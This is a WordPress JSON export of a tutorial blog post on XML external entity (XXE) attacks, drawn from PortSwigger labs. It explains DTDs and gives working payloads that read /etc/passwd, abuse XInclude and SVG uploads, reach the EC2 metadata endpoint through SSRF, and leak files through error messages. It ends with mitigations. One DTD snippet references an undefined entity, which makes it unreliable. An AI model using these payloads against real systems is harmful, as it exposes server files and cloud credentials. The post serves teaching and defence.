{"id":738,"date":"2021-04-14T08:28:06","date_gmt":"2021-04-14T08:28:06","guid":{"rendered":"https:\/\/shreyapohekar.com\/blogs\/?p=738"},"modified":"2021-04-25T09:01:11","modified_gmt":"2021-04-25T09:01:11","slug":"xxe-simplified-the-concept-attacks-and-mitigations","status":"publish","type":"post","link":"https:\/\/shreyapohekar.com\/blogs\/xxe-simplified-the-concept-attacks-and-mitigations\/","title":{"rendered":"XXE Simplified: The concept, Attacks and Mitigations"},"content":{"rendered":"\n<p class=\"has-drop-cap\">Whenever I scroll through hackerone reports, XXE remains amongst the one with a critical score on the severity perspective. Why? Being able to read server&#8217;s sensitive files is where the victim can be fully compromised. Whatever, security measures are in place fails if there&#8217;s a hole in the pot. XXE can be considered that vulnerability that could do severe harm to the organization!!<\/p>\n\n\n\n<p>Hey Everyone! This blog post will cover the basic elements of XML and why XXE arise in the first place. In the latter part, I will cover various attack scenarios around XXE. Finally, we&#8217;ll look at the mitigations. <\/p>\n\n\n\n<p>To exfilterate data with XXE, follow <a href=\"https:\/\/shreyapohekar.com\/blogs\/blind-xxe-attacks-out-of-band-interaction-techniques-oast-to-exfilterate-data\/\" target=\"_blank\" rel=\"noreferrer noopener\"><span class=\"has-inline-color has-vivid-cyan-blue-color\">this post.<\/span><\/a><\/p>\n\n\n\n<h2 class=\"wp-block-heading\">The basics of XML<\/h2>\n\n\n\n<p>Like JSON, XML is a language that can be used for storing and transportation of data. It follows tree-like structure for data representation.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">XML entities<\/h2>\n\n\n\n<p>Entities are the way by which the data can be represented in XML.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Document type definition [DTD]<\/h2>\n\n\n\n<p>DTD defines the structure and legal elements and attributes of an XML document. Like I said XML can be used for transporting data, there should be a common standard accepted by everyone. Therefore, a DTD helps to check the validity of an XML document. DTDs can be both internal as well as external.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Internal DTD with elements<\/h3>\n\n\n\n<pre class=\"wp-block-code wpf-blue-background\"><code>&lt;?xml version=\"1.0\"?&gt;\n&lt;!DOCTYPE todo &#91;\n&lt;!ELEMENT todo (name)&gt;\n&lt;!ELEMENT name (#PCDATA)&gt;\n]&gt;\n&lt;todo&gt;\n&lt;name&gt;Go to gym&lt;\/name&gt;\n&lt;\/todo&gt;<\/code><\/pre>\n\n\n\n<p>The example defines a DOCTYPE named todo which contains a name of todo. So thats the format we have defined. And the xml document is expected to follow the defined structure.<\/p>\n\n\n\n<p>Elements are actual markup tags defined by the DTD, just like HTML&#8217;s &lt;p&gt; or &lt;h1&gt;<\/p>\n\n\n\n<p>&lt;name&gt;&lt;\/name&gt; is a user defined element.<\/p>\n\n\n\n<p>If you are wondering what is #PCDATA, hold on for a while. I will cover its significance later in this post.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Internal DTD with entities<\/h3>\n\n\n\n<pre class=\"wp-block-code wpf-blue-background\"><code>&lt;!DOCTYPE foobar &#91; &lt;!ENTITY test \"Test123\" &gt; ]&gt;<\/code><\/pre>\n\n\n\n<p>This is a DTD with an entity, declared with name test and its value is &#8220;Test123&#8221;. Now this entity can be referenced in the XML document with &amp;. Ex.<\/p>\n\n\n\n<pre class=\"wp-block-code wpf-blue-background\"><code>&lt;lol&gt;&amp;test;&lt;\/lol&gt;<\/code><\/pre>\n\n\n\n<p>Whenever the XML document will be parsed, Test123 will be reflected.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Parameter Entities<\/h3>\n\n\n\n<p>Parameter entities behave like and are declared almost exactly like a general entity. However, they use a % instead of an &amp;, and they can only be used in a DTD while general entities can only be used in the document content.<\/p>\n\n\n\n<p>Syntax<\/p>\n\n\n\n<pre class=\"wp-block-code wpf-blue-background\"><code>&lt;!ENTITY % name   \"foobar\"&gt;<\/code><\/pre>\n\n\n\n<p>Deferencing<\/p>\n\n\n\n<pre class=\"wp-block-code wpf-blue-background\"><code>&lt;!ELEMENT employee (%name;)&gt;<\/code><\/pre>\n\n\n\n<p>Parameter entities are useful when entities have to be nested in DOCTYPE element. Parameter entities are significantly used to exploit<a href=\"https:\/\/shreyapohekar.com\/blogs\/blind-xxe-attacks-out-of-band-interaction-techniques-oast-to-exfilterate-data\/\" target=\"_blank\" rel=\"noreferrer noopener\"> <\/a><span class=\"has-inline-color has-vivid-cyan-blue-color\"><a href=\"https:\/\/shreyapohekar.com\/blogs\/blind-xxe-attacks-out-of-band-interaction-techniques-oast-to-exfilterate-data\/\" target=\"_blank\" rel=\"noreferrer noopener\">Blind XXE with out-of-band-interaction<\/a>.<\/span> We&#8217;ll see the usage in detail in the <span class=\"has-inline-color has-vivid-cyan-blue-color\"><a href=\"https:\/\/shreyapohekar.com\/blogs\/blind-xxe-attacks-out-of-band-interaction-techniques-oast-to-exfilterate-data\/\" target=\"_blank\" rel=\"noreferrer noopener\">follow-up post.<\/a> <\/span><\/p>\n\n\n\n<p>That builds the fundamentals. Now comes the attack &#8211; XXE<\/p>\n\n\n\n<p>So lets understand what is XXE and how it happens.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">What is XXE <\/h2>\n\n\n\n<p>XXE (External XML Entity) is a vulnerability that allows the adversary to maliciously interact with the parsing of xml data.           With a successful XXE attack, an attacker will be able to view server&#8217;s sensitive files like \/etc\/passwd. <\/p>\n\n\n\n<p>Wondering how? Lets take an example.<\/p>\n\n\n\n<pre class=\"wp-block-code wpf-blue-background\"><code>&lt;!DOCTYPE foo &#91; &lt;!ENTITY malxxe SYSTEM \"file:\/\/\/path\/to\/file\" &gt; ]&gt;\n\n<\/code><\/pre>\n\n\n\n<p>Entity malxxe is defined that uses SYSTEM identifier. A system identifier is nothing but a URI (Uniform resource identifier).  file:\/\/\/path\/to\/file is a URI. When &amp;malxxe; is referenced in any element, the contents of file are displayed.<\/p>\n\n\n\n<p>XXE can also be leveraged with other attacks such as SSRF to further increase the impact of compromise.   <\/p>\n\n\n\n<p>XXE attacks arise when the XML parsers are poorly configured.       <\/p>\n\n\n\n<h2 class=\"wp-block-heading\">There are multiple risk factors that can potentially be an entry point for XXE<\/h2>\n\n\n\n<ul class=\"wp-block-list\"><li>If the application is parsing XML documents.<\/li><li>Malfored data is allowed in SYSTEM identifier within DTD<\/li><li>The XML processor is configured to validate and process the DTD.<\/li><li>The XML processor is configured to resolve external entities within DTD.<\/li><\/ul>\n\n\n\n<h2 class=\"wp-block-heading\">Attacks<\/h2>\n\n\n\n<p>I discussed about a basic snippet of DTD that can lead to XXE. Lets see that in action. I&#8217;ll be referencing various labs from portswigger to explain different XXE scenarios.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">XXE using external entities<\/h2>\n\n\n\n<p>There is an application, that uses XML data in the request to check the price of stock.<\/p>\n\n\n\n<p>Body of original request<\/p>\n\n\n\n<pre class=\"wp-block-code wpf-blue-background\"><code>&lt;stockcheck&gt;\n&lt;productId&gt;1234&lt;\/productId&gt;\n&lt;storeId&gt;1&lt;\/storeId&gt;\n&lt;\/stockcheck&gt;<\/code><\/pre>\n\n\n\n<p>If the xml parsers are weakly configured, an external entity can be inserted and can be referenced in the tags that were part of the original request. Since the parser parses the document and reflects the result in the response, referencing a malformed entity can retrieve sensitive files.<\/p>\n\n\n\n<p>Lets see how<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"908\" height=\"361\" src=\"https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/04\/image.png\" alt=\"\" class=\"wp-image-748\" srcset=\"https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/04\/image.png 908w, https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/04\/image-300x119.png 300w, https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/04\/image-768x305.png 768w, https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/04\/image-640x254.png 640w\" sizes=\"(max-width: 908px) 100vw, 908px\" \/><\/figure>\n\n\n\n<p>Entity xxe has the URI file:\/\/\/etc\/passwd and referencing it in the &lt;productId&gt; reflects the contents of \/etc\/passwd<\/p>\n\n\n\n<p>Checkout another example in<span class=\"has-inline-color has-vivid-cyan-blue-color\"><strong><span style=\"text-decoration: underline;\"> <a href=\"https:\/\/shreyapohekar.com\/blogs\/aragog-hackthebox-walkthrough\/\" target=\"_blank\" rel=\"noreferrer noopener\">Aragog from hackthebox<\/a><\/span><\/strong><\/span> where the privilege of file read can lead to initial foothold on the box.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">XXE to perform SSRF<\/h2>\n\n\n\n<p>If an application is vulnerable to XXE, It can be further used for querying the internal network (not accessible from public but accessible from the application vulnerable to XXE) for sensitive information.<\/p>\n\n\n\n<p>Ex: There is a simulated EC2 metsdata endpoint at the URL : http:\/\/169.254.169.254\/ <\/p>\n\n\n\n<p>The application vulnerable to XXE can query this endpoint. The task is to read the server&#8217;s IAM secret access key.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"346\" src=\"https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/04\/image-1-1024x346.png\" alt=\"\" class=\"wp-image-749\" srcset=\"https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/04\/image-1-1024x346.png 1024w, https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/04\/image-1-300x101.png 300w, https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/04\/image-1-768x259.png 768w, https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/04\/image-1-640x216.png 640w, https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/04\/image-1.png 1493w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p>Notice that just the URL is changed. Rest of the definition remains the same. The URL has to be contructed by viewing the response obtained after each slash(\/). Refer to aws documentations to get insights around the keywords used.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Exploiting Xinclude to retrieve files<\/h2>\n\n\n\n<p>Some applications receive client-submitted data, embed it on the server-side into an XML document, and then parse the document. An example of this occurs when client-submitted data is placed into a back-end SOAP request, which is then processed by the backend SOAP service. In this scenario, you cant define a DOCTYPE element.<\/p>\n\n\n\n<p>Here comes Xinclude to the rescue. XInclude&nbsp;is a part of the XML specification that allows an XML document to be built from sub-documents. It can be placed within any data value in XML.<\/p>\n\n\n\n<p>To perform an&nbsp;XInclude&nbsp;attack, you need to reference the&nbsp;XInclude&nbsp;namespace and provide the path to the file that you wish to include. For example:<\/p>\n\n\n\n<pre class=\"wp-block-code wpf-blue-background\"><code>&lt;foo xmlns:xi=\"http:\/\/www.w3.org\/2001\/XInclude\"&gt;&lt;xi:include parse=\"text\" href=\"file:\/\/\/etc\/passwd\"\/&gt;&lt;\/foo&gt;<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"424\" src=\"https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/04\/image-2-1024x424.png\" alt=\"\" class=\"wp-image-750\" srcset=\"https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/04\/image-2-1024x424.png 1024w, https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/04\/image-2-300x124.png 300w, https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/04\/image-2-768x318.png 768w, https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/04\/image-2-640x265.png 640w, https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/04\/image-2.png 1177w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">XXE via file upload<\/h2>\n\n\n\n<p>This usecase is one of my favourites. I was just amazed with the attack possibilities with file uploads.<\/p>\n\n\n\n<p>Here, the application uses Apache Batik library to process avatar image files. The catch here is : Even if the image uploads allow format like png or jpeg only, there might be a possiblity that library supports SVG images. And SVG used XML. So now, an attacker can submit a malicious SVG image to load sensitive content inside image.<\/p>\n\n\n\n<p>xxe.svg file<\/p>\n\n\n\n<pre class=\"wp-block-code wpf-blue-background\"><code>&lt;?xml version=\"1.0\" standalone=\"yes\"?&gt;&lt;!DOCTYPE test &#91; &lt;!ENTITY&nbsp;xxe&nbsp;SYSTEM \"file:\/\/\/etc\/hostname\" &gt; ]&gt;&lt;svg width=\"128px\" height=\"128px\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" xmlns:xlink=\"http:\/\/www.w3.org\/1999\/xlink\" version=\"1.1\"&gt;&lt;text font-size=\"16\" x=\"0\" y=\"16\"&gt;&amp;xxe;&lt;\/text&gt;&lt;\/svg&gt;<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">XXE via modified content type<\/h2>\n\n\n\n<p>POST requests a default content type ie application\/x-www-form-urlencoded. Some websites expect the request in this format but will also allow other content types including XML.<\/p>\n\n\n\n<p>Normal Request<\/p>\n\n\n\n<pre class=\"wp-block-code wpf-blue-background\"><code>POST \/action HTTP\/1.0\nContent-Type: application\/x-www-form-urlencoded\nContent-Length: 7\n\nfoo=bar<\/code><\/pre>\n\n\n\n<p>With XML<\/p>\n\n\n\n<pre class=\"wp-block-code wpf-blue-background\"><code>POST \/action HTTP\/1.0\nContent-Type: text\/xml\nContent-Length: 52\n\n&lt;?xml version=\"1.0\" encoding=\"UTF-8\"?&gt;&lt;foo&gt;bar&lt;\/foo&gt;<\/code><\/pre>\n\n\n\n<p>If the application accepts the request with XML and parses the body as XML, then reformatiing the request can lead to XXE.<\/p>\n\n\n\n<h2 class=\"has-medium-font-size wp-block-heading\">Blind XXE<\/h2>\n\n\n\n<p>Situations where you see that requests contain the data in XML format but its no where reflected in the response, It can get difficult to understand if its vulnernable to XXE or not. Also with no data reflection in response, data retrieval becomes difiicult. Therefore in such scenarios OAST techniques are used. That is yet another topic to discuss. You can find the post<span class=\"has-inline-color has-vivid-cyan-blue-color\"> <a href=\"https:\/\/shreyapohekar.com\/blogs\/blind-xxe-attacks-out-of-band-interaction-techniques-oast-to-exfilterate-data\/\" target=\"_blank\" rel=\"noreferrer noopener\">here<\/a><\/span>.<\/p>\n\n\n\n<p>In scope of this post, I will talk about a workaround that is possible to get data reflection even when exploiting blnd XXE.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Blind XXE to retrieve data via error messages<\/h2>\n\n\n\n<p>The trick here is to trigger an XML parsing error and load sensitive data as a part of error message. This only works if application returns error message in response.<\/p>\n\n\n\n<p>Here we create an external DTD that when imported, will try to read the contents of \/etc\/passwd into file entity and try to use that in file path.<\/p>\n\n\n\n<pre class=\"wp-block-code wpf-blue-background\"><code>&lt;!ENTITY % file SYSTEM \"file:\/\/\/etc\/passwd\"&gt;&lt;!ENTITY % eval \"&lt;!ENTITY &amp;#x25; error SYSTEM 'file:\/\/\/invalid\/%file;'&gt;\"&gt;\n%eval;\n%exfil;<\/code><\/pre>\n\n\n\n<p>This is stored in burp&#8217;s exploit server. You can use your own server too.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"442\" src=\"https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/04\/image-3-1024x442.png\" alt=\"\" class=\"wp-image-751\" srcset=\"https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/04\/image-3-1024x442.png 1024w, https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/04\/image-3-300x130.png 300w, https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/04\/image-3-768x332.png 768w, https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/04\/image-3-640x276.png 640w, https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/04\/image-3.png 1452w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p>Notice where the %xxe; is called. It is an incorrect format and is gonna trigger an error. And the external dtd defined contains the logic for retrieving sensitive information along with error.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Mitigations<\/h2>\n\n\n\n<p>No doubt, that XXE is a critical vulnerability to have in your application, but it can be prevented to certain extent when correct measures are taken.<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li>DTD, enternal entities feature should be disabled.<\/li><li>XML processors, libraries used must be patched.<\/li><li>Validate user inputs before parsing<\/li><li>Validate, sanitise URLs to prevent SSRF<\/li><li>Use less complex data formats such as JSON<\/li><\/ul>\n\n\n\n<p>Thats all for this blog post! See you in the next one! <\/p>\n\n\n\n<p>Until then, Happy hunting! \ud83d\ude42<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">References<\/h2>\n\n\n\n<ul class=\"wp-block-list\"><li><a href=\"https:\/\/portswigger.net\/web-security\/xxe\">https:\/\/portswigger.net\/web-security\/xxe<\/a><\/li><\/ul>\n\n\n\n<ul class=\"wp-block-list\"><li><a href=\"https:\/\/owasp.org\/www-community\/vulnerabilities\/XML_External_Entity_(XXE)_Processing\">https:\/\/owasp.org\/www-community\/vulnerabilities\/XML_External_Entity_(XXE)_Processing<\/a><\/li><\/ul>\n","protected":false},"excerpt":{"rendered":"<p>XXE remains amongst the one with a critical score on the severity perspective. Why? Being able to read server&#8217;s sensitive files is where the victim can be fully compromised. <\/p>\n","protected":false},"author":1,"featured_media":756,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"ocean_post_layout":"","ocean_both_sidebars_style":"","ocean_both_sidebars_content_width":0,"ocean_both_sidebars_sidebars_width":0,"ocean_sidebar":"","ocean_second_sidebar":"","ocean_disable_margins":"enable","ocean_add_body_class":"","ocean_shortcode_before_top_bar":"","ocean_shortcode_after_top_bar":"","ocean_shortcode_before_header":"","ocean_shortcode_after_header":"","ocean_has_shortcode":"","ocean_shortcode_after_title":"","ocean_shortcode_before_footer_widgets":"","ocean_shortcode_after_footer_widgets":"","ocean_shortcode_before_footer_bottom":"","ocean_shortcode_after_footer_bottom":"","ocean_display_top_bar":"default","ocean_display_header":"default","ocean_header_style":"","ocean_center_header_left_menu":"","ocean_custom_header_template":"","ocean_custom_logo":0,"ocean_custom_retina_logo":0,"ocean_custom_logo_max_width":0,"ocean_custom_logo_tablet_max_width":0,"ocean_custom_logo_mobile_max_width":0,"ocean_custom_logo_max_height":0,"ocean_custom_logo_tablet_max_height":0,"ocean_custom_logo_mobile_max_height":0,"ocean_header_custom_menu":"","ocean_menu_typo_font_family":"","ocean_menu_typo_font_subset":"","ocean_menu_typo_font_size":0,"ocean_menu_typo_font_size_tablet":0,"ocean_menu_typo_font_size_mobile":0,"ocean_menu_typo_font_size_unit":"px","ocean_menu_typo_font_weight":"","ocean_menu_typo_font_weight_tablet":"","ocean_menu_typo_font_weight_mobile":"","ocean_menu_typo_transform":"","ocean_menu_typo_transform_tablet":"","ocean_menu_typo_transform_mobile":"","ocean_menu_typo_line_height":0,"ocean_menu_typo_line_height_tablet":0,"ocean_menu_typo_line_height_mobile":0,"ocean_menu_typo_line_height_unit":"","ocean_menu_typo_spacing":0,"ocean_menu_typo_spacing_tablet":0,"ocean_menu_typo_spacing_mobile":0,"ocean_menu_typo_spacing_unit":"","ocean_menu_link_color":"","ocean_menu_link_color_hover":"","ocean_menu_link_color_active":"","ocean_menu_link_background":"","ocean_menu_link_hover_background":"","ocean_menu_link_active_background":"","ocean_menu_social_links_bg":"","ocean_menu_social_hover_links_bg":"","ocean_menu_social_links_color":"","ocean_menu_social_hover_links_color":"","ocean_disable_title":"default","ocean_disable_heading":"default","ocean_post_title":"","ocean_post_subheading":"","ocean_post_title_style":"","ocean_post_title_background_color":"","ocean_post_title_background":0,"ocean_post_title_bg_image_position":"","ocean_post_title_bg_image_attachment":"","ocean_post_title_bg_image_repeat":"","ocean_post_title_bg_image_size":"","ocean_post_title_height":0,"ocean_post_title_bg_overlay":0.5,"ocean_post_title_bg_overlay_color":"","ocean_disable_breadcrumbs":"default","ocean_breadcrumbs_color":"","ocean_breadcrumbs_separator_color":"","ocean_breadcrumbs_links_color":"","ocean_breadcrumbs_links_hover_color":"","ocean_display_footer_widgets":"default","ocean_display_footer_bottom":"default","ocean_custom_footer_template":"","ocean_post_oembed":"","ocean_post_self_hosted_media":"","ocean_post_video_embed":"","ocean_link_format":"","ocean_link_format_target":"self","ocean_quote_format":"","ocean_quote_format_link":"post","ocean_gallery_link_images":"on","ocean_gallery_id":[],"footnotes":""},"categories":[2,321,257],"tags":[310,308,309,307,306,233,311],"class_list":["post-738","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-information-security","category-owasp-top-10","category-web-application","tag-attacks","tag-dtd","tag-external-dtd","tag-xml","tag-xml-external-entities","tag-xxe","tag-xxe-attacks","entry","has-media"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/posts\/738"}],"collection":[{"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/comments?post=738"}],"version-history":[{"count":10,"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/posts\/738\/revisions"}],"predecessor-version":[{"id":789,"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/posts\/738\/revisions\/789"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/media\/756"}],"wp:attachment":[{"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/media?parent=738"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/categories?post=738"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/tags?post=738"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}